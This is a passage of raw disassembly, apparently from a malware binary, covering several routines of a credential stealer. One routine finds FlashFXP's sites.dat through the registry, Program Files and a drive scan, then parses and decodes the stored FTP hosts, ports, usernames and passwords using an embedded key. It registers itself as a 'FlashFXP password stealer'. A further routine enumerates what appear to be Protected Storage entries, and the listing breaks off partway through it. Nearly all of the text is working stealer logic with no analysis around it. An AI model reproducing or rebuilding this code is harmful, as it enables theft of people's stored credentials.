		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------


loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------


loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax


loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D3C0
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------


loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h


loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90	; fread
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax


loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D3B8 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser_0	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass_0	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D38C ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D320
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx


loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D2E4
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DF60
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40


loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D650
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E


loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D61C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0


loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40


loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------


loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D618 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40


loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D650
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E


loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax


loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40


loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40


loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D650
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E


loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax


loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40


loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40


loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]


loc_415353:				; DATA XREF: brattyty:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D650
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E


loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax


loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al


loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------


loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch


loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DF10
		lea	eax, [ebp-7FCh]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset byte_41DF10
		lea	eax, [ebp-0DF0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D5C8
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DF10
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
